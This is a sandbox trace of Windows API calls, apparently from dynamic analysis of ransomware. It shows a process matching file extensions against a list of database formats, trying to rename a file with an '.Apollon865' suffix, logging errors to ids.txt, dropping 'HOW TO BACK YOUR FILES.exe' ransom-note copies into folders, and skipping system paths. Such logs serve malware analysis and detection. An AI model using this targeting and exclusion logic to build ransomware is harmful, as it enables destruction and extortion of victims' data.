	[0080.252] lstrlenW (lpString="ckp") returned 3
	[0080.252] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1
	[0080.252] lstrlenW (lpString="cma") returned 3
	[0080.252] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1
	[0080.253] lstrlenW (lpString="cpd") returned 3
	[0080.253] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1
	[0080.253] lstrlenW (lpString="dacpac") returned 6
	[0080.253] lstrcmpiW (lpString1="44.bmp", lpString2="dacpac") returned -1
	[0080.253] lstrlenW (lpString="dad") returned 3
	[0080.254] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1
	[0080.254] lstrlenW (lpString="dadiagrams") returned 10
	[0080.254] lstrcmpiW (lpString1="tile44.bmp", lpString2="dadiagrams") returned 1
	[0080.254] lstrlenW (lpString="daschema") returned 8
	[0080.254] lstrcmpiW (lpString1="le44.bmp", lpString2="daschema") returned 1
	[0080.255] lstrlenW (lpString="db-journal") returned 10
	[0080.255] lstrcmpiW (lpString1="tile44.bmp", lpString2="db-journal") returned 1
	[0080.255] lstrlenW (lpString="db-shm") returned 6
	[0080.255] lstrcmpiW (lpString1="44.bmp", lpString2="db-shm") returned -1
	[0080.255] lstrlenW (lpString="db-wal") returned 6
	[0080.256] lstrcmpiW (lpString1="44.bmp", lpString2="db-wal") returned -1
	[0080.256] lstrlenW (lpString="dbc") returned 3
	[0080.257] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1
	[0080.257] lstrlenW (lpString="dbs") returned 3
	[0080.257] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1
	[0080.257] lstrlenW (lpString="dbt") returned 3
	[0080.257] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1
	[0080.258] lstrlenW (lpString="dbv") returned 3
	[0080.258] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1
	[0080.259] lstrlenW (lpString="dbx") returned 3
	[0080.259] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1
	[0080.259] lstrlenW (lpString="dcb") returned 3
	[0080.259] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1
	[0080.259] lstrlenW (lpString="dct") returned 3
	[0080.259] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1
	[0080.259] lstrlenW (lpString="dcx") returned 3
	[0080.260] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1
	[0080.260] lstrlenW (lpString="ddl") returned 3
	[0080.260] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1
	[0080.260] lstrlenW (lpString="dlis") returned 4
	[0080.260] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1
	[0080.260] lstrlenW (lpString="dp1") returned 3
	[0080.260] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1
	[0080.260] lstrlenW (lpString="dqy") returned 3
	[0080.260] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1
	[0080.261] lstrlenW (lpString="dsk") returned 3
	[0080.261] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1
	[0080.262] lstrlenW (lpString="dsn") returned 3
	[0080.262] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1
	[0080.262] lstrlenW (lpString="dtsx") returned 4
	[0080.262] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1
	[0080.262] lstrlenW (lpString="dxl") returned 3
	[0080.262] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1
	[0080.262] lstrlenW (lpString="eco") returned 3
	[0080.262] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1
	[0080.262] lstrlenW (lpString="ecx") returned 3
	[0080.262] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1
	[0080.262] lstrlenW (lpString="edb") returned 3
	[0080.262] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1
	[0080.264] lstrlenW (lpString="epim") returned 4
	[0080.264] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1
	[0080.264] lstrlenW (lpString="fcd") returned 3
	[0080.264] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1
	[0080.264] lstrlenW (lpString="fdb") returned 3
	[0080.264] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1
	[0080.265] lstrlenW (lpString="fic") returned 3
	[0080.265] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1
	[0080.265] lstrlenW (lpString="flexolibrary") returned 12
	[0080.265] lstrcmpiW (lpString1="ertile44.bmp", lpString2="flexolibrary") returned -1
	[0080.265] lstrlenW (lpString="fm5") returned 3
	[0080.265] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1
	[0080.265] lstrlenW (lpString="fmp") returned 3
	[0080.265] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1
	[0080.266] lstrlenW (lpString="fmp12") returned 5
	[0080.266] lstrcmpiW (lpString1="4.bmp", lpString2="fmp12") returned -1
	[0080.266] lstrlenW (lpString="fmpsl") returned 5
	[0080.266] lstrcmpiW (lpString1="4.bmp", lpString2="fmpsl") returned -1
	[0080.266] lstrlenW (lpString="fol") returned 3
	[0080.266] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1
	[0080.267] lstrlenW (lpString="fp3") returned 3
	[0080.267] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1
	[0080.267] lstrlenW (lpString="fp4") returned 3
	[0080.267] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1
	[0080.267] lstrlenW (lpString="fp5") returned 3
	[0080.267] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1
	[0080.267] lstrlenW (lpString="fp7") returned 3
	[0080.268] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1
	[0080.268] lstrlenW (lpString="fpt") returned 3
	[0080.268] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1
	[0080.269] lstrlenW (lpString="frm") returned 3
	[0080.270] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1
	[0080.270] lstrlenW (lpString="gdb") returned 3
	[0080.270] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0080.270] lstrlenW (lpString="gdb") returned 3
	[0080.270] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0080.270] lstrlenW (lpString="grdb") returned 4
	[0080.270] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1
	[0080.270] lstrlenW (lpString="gwi") returned 3
	[0080.271] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1
	[0080.271] lstrlenW (lpString="hdb") returned 3
	[0080.271] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1
	[0080.271] lstrlenW (lpString="his") returned 3
	[0080.271] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1
	[0080.271] lstrlenW (lpString="ib") returned 2
	[0080.271] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1
	[0080.271] lstrlenW (lpString="idb") returned 3
	[0080.271] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1
	[0080.271] lstrlenW (lpString="ihx") returned 3
	[0080.271] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1
	[0080.271] lstrlenW (lpString="itdb") returned 4
	[0080.272] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1
	[0080.272] lstrlenW (lpString="itw") returned 3
	[0080.272] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1
	[0080.272] lstrlenW (lpString="jet") returned 3
	[0080.272] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1
	[0080.273] lstrlenW (lpString="jtx") returned 3
	[0080.273] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1
	[0080.273] lstrlenW (lpString="kdb") returned 3
	[0080.273] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1
	[0080.273] lstrlenW (lpString="kexi") returned 4
	[0080.273] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1
	[0080.273] lstrlenW (lpString="kexic") returned 5
	[0080.273] lstrcmpiW (lpString1="4.bmp", lpString2="kexic") returned -1
	[0080.273] lstrlenW (lpString="kexis") returned 5
	[0080.274] lstrcmpiW (lpString1="4.bmp", lpString2="kexis") returned -1
	[0080.274] lstrlenW (lpString="lgc") returned 3
	[0080.275] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1
	[0080.275] lstrlenW (lpString="lwx") returned 3
	[0080.275] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1
	[0080.276] lstrlenW (lpString="maf") returned 3
	[0080.276] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1
	[0080.276] lstrlenW (lpString="maq") returned 3
	[0080.277] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1
	[0080.281] lstrlenW (lpString="mar") returned 3
	[0080.281] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1
	[0080.281] lstrlenW (lpString="marshal") returned 7
	[0080.290] lstrcmpiW (lpString1="e44.bmp", lpString2="marshal") returned -1
	[0080.291] lstrlenW (lpString="mas") returned 3
	[0080.291] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1
	[0080.291] lstrlenW (lpString="mav") returned 3
	[0080.291] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1
	[0080.292] lstrlenW (lpString="maw") returned 3
	[0080.293] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1
	[0080.293] lstrlenW (lpString="mdbhtml") returned 7
	[0080.294] lstrcmpiW (lpString1="e44.bmp", lpString2="mdbhtml") returned -1
	[0080.294] lstrlenW (lpString="mdn") returned 3
	[0080.294] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1
	[0080.295] lstrlenW (lpString="mdt") returned 3
	[0080.295] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1
	[0080.296] lstrlenW (lpString="mfd") returned 3
	[0080.296] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1
	[0080.296] lstrlenW (lpString="mpd") returned 3
	[0080.296] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1
	[0080.296] lstrlenW (lpString="mrg") returned 3
	[0080.297] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1
	[0080.297] lstrlenW (lpString="mud") returned 3
	[0080.297] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1
	[0080.298] lstrlenW (lpString="mwb") returned 3
	[0080.298] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1
	[0080.298] lstrlenW (lpString="myd") returned 3
	[0080.299] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1
	[0080.299] lstrlenW (lpString="ndf") returned 3
	[0080.299] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1
	[0080.299] lstrlenW (lpString="nnt") returned 3
	[0080.299] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1
	[0080.299] lstrlenW (lpString="nrmlib") returned 6
	[0080.300] lstrcmpiW (lpString1="44.bmp", lpString2="nrmlib") returned -1
	[0080.301] lstrlenW (lpString="ns2") returned 3
	[0080.301] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1
	[0080.302] lstrlenW (lpString="ns3") returned 3
	[0080.302] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1
	[0080.302] lstrlenW (lpString="ns4") returned 3
	[0080.303] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1
	[0080.303] lstrlenW (lpString="nsf") returned 3
	[0080.304] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1
	[0080.304] lstrlenW (lpString="nv") returned 2
	[0080.304] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1
	[0080.305] lstrlenW (lpString="nv2") returned 3
	[0080.305] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1
	[0080.305] lstrlenW (lpString="nwdb") returned 4
	[0080.305] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1
	[0080.306] lstrlenW (lpString="nyf") returned 3
	[0080.306] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1
	[0080.306] lstrlenW (lpString="odb") returned 3
	[0080.306] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0080.306] lstrlenW (lpString="odb") returned 3
	[0080.306] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0080.307] lstrlenW (lpString="oqy") returned 3
	[0080.307] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1
	[0080.307] lstrlenW (lpString="ora") returned 3
	[0080.307] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1
	[0080.307] lstrlenW (lpString="orx") returned 3
	[0080.308] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1
	[0080.308] lstrlenW (lpString="owc") returned 3
	[0080.309] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1
	[0080.310] lstrlenW (lpString="p96") returned 3
	[0080.310] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1
	[0080.310] lstrlenW (lpString="p97") returned 3
	[0080.311] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1
	[0080.311] lstrlenW (lpString="pan") returned 3
	[0080.312] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1
	[0080.312] lstrlenW (lpString="pdb") returned 3
	[0080.312] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1
	[0080.313] lstrlenW (lpString="pdm") returned 3
	[0080.313] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1
	[0080.313] lstrlenW (lpString="pnz") returned 3
	[0080.314] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1
	[0080.314] lstrlenW (lpString="qry") returned 3
	[0080.314] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1
	[0080.315] lstrlenW (lpString="qvd") returned 3
	[0080.315] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1
	[0080.315] lstrlenW (lpString="rbf") returned 3
	[0080.316] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1
	[0080.317] lstrlenW (lpString="rctd") returned 4
	[0080.317] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1
	[0080.317] lstrlenW (lpString="rod") returned 3
	[0080.317] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1
	[0080.317] lstrlenW (lpString="rodx") returned 4
	[0080.317] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1
	[0080.317] lstrlenW (lpString="rpd") returned 3
	[0080.318] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1
	[0080.318] lstrlenW (lpString="rsd") returned 3
	[0080.318] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1
	[0080.319] lstrlenW (lpString="sas7bdat") returned 8
	[0080.320] lstrcmpiW (lpString1="le44.bmp", lpString2="sas7bdat") returned -1
	[0080.320] lstrlenW (lpString="sbf") returned 3
	[0080.321] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1
	[0080.321] lstrlenW (lpString="scx") returned 3
	[0080.321] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1
	[0080.322] lstrlenW (lpString="sdb") returned 3
	[0080.322] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1
	[0080.322] lstrlenW (lpString="sdc") returned 3
	[0080.322] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1
	[0080.322] lstrlenW (lpString="sdf") returned 3
	[0080.322] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1
	[0080.322] lstrlenW (lpString="sis") returned 3
	[0080.322] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1
	[0080.322] lstrlenW (lpString="spq") returned 3
	[0080.322] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1
	[0080.322] lstrlenW (lpString="te") returned 2
	[0080.322] lstrcmpiW (lpString1="mp", lpString2="te") returned -1
	[0080.322] lstrlenW (lpString="teacher") returned 7
	[0080.322] lstrcmpiW (lpString1="e44.bmp", lpString2="teacher") returned -1
	[0080.323] lstrlenW (lpString="tmd") returned 3
	[0080.324] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1
	[0080.324] lstrlenW (lpString="tps") returned 3
	[0080.324] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1
	[0080.326] lstrlenW (lpString="trc") returned 3
	[0080.326] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0080.326] lstrlenW (lpString="trc") returned 3
	[0080.327] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0080.358] lstrlenW (lpString="trm") returned 3
	[0080.359] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1
	[0080.359] lstrlenW (lpString="udb") returned 3
	[0080.359] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1
	[0080.359] lstrlenW (lpString="udl") returned 3
	[0080.360] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1
	[0080.361] lstrlenW (lpString="usr") returned 3
	[0080.362] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1
	[0080.362] lstrlenW (lpString="v12") returned 3
	[0080.363] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1
	[0080.363] lstrlenW (lpString="vis") returned 3
	[0080.363] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1
	[0080.364] lstrlenW (lpString="vpd") returned 3
	[0080.364] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1
	[0080.364] lstrlenW (lpString="vvv") returned 3
	[0080.365] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1
	[0080.365] lstrlenW (lpString="wdb") returned 3
	[0080.365] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1
	[0080.365] lstrlenW (lpString="wmdb") returned 4
	[0080.365] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1
	[0080.366] lstrlenW (lpString="wrk") returned 3
	[0080.366] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1
	[0080.366] lstrlenW (lpString="xdb") returned 3
	[0080.366] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1
	[0080.367] lstrlenW (lpString="xld") returned 3
	[0080.367] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1
	[0080.367] lstrlenW (lpString="xmlff") returned 5
	[0080.367] lstrcmpiW (lpString1="4.bmp", lpString2="xmlff") returned -1
	[0080.367] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp.Apollon865") returned 93
	[0080.368] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile44.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile44.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.370] GetLastError () returned 0x5
	[0080.370] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp MoveFileEx error 5\r\n") returned 111
	[0080.370] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp MoveFileEx error 5\r\n") returned 111
	[0080.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.372] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x564a
	[0080.372] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.373] CloseHandle (hObject=0x9c) returned 1
	[0080.373] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.374] CloseHandle (hObject=0x0) returned 0
	[0080.375] CloseHandle (hObject=0x0) returned 0
	[0080.375] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 0
	[0080.376] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.377] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c90
	[0080.377] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Search", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search") returned="C:\\Users\\All Users\\Microsoft\\Search"
	[0080.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5be018 | out: hHeap=0x580000) returned 1
	[0080.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0080.379] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Search") returned 35
	[0080.379] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Search" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search") returned="C:\\Users\\All Users\\Microsoft\\Search"
	[0080.379] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.384] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\search\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.393] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.395] GetLastError () returned 0x0
	[0080.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.397] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.400] CloseHandle (hObject=0x10c) returned 1
	[0080.400] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.401] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.401] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9587f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.401] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.402] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.402] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.402] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9587f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.402] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.402] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.402] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.402] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.402] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9587f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1
	[0080.402] lstrcmpiW (lpString1="Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.402] lstrcmpiW (lpString1="Data", lpString2="Apollon865.txt.exe") returned 1
	[0080.402] lstrcmpiW (lpString1="Data", lpString2=".") returned 1
	[0080.402] lstrcmpiW (lpString1="Data", lpString2="..") returned 1
	[0080.402] lstrcmpiW (lpString1="Data", lpString2="windows") returned -1
	[0080.402] lstrcmpiW (lpString1="Data", lpString2="bootmgr") returned 1
	[0080.402] lstrcmpiW (lpString1="Data", lpString2="temp") returned -1
	[0080.402] lstrcmpiW (lpString1="Data", lpString2="pagefile.sys") returned -1
	[0080.402] lstrcmpiW (lpString1="Data", lpString2="boot") returned 1
	[0080.402] lstrcmpiW (lpString1="Data", lpString2="ids.txt") returned -1
	[0080.402] lstrcmpiW (lpString1="Data", lpString2="ntuser.dat") returned -1
	[0080.402] lstrcmpiW (lpString1="Data", lpString2="perflogs") returned -1
	[0080.402] lstrcmpiW (lpString1="Data", lpString2="MSBuild") returned -1
	[0080.403] lstrlenW (lpString="Data") returned 4
	[0080.403] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Search\\*") returned 37
	[0080.403] lstrcpyW (in: lpString1=0x119e650, lpString2="Data" | out: lpString1="Data") returned="Data"
	[0080.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0080.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x5985e8
	[0080.403] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c90 | out: ListHead=0x5b75f0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0080.403] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9587f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.403] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.403] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9587f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0080.403] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
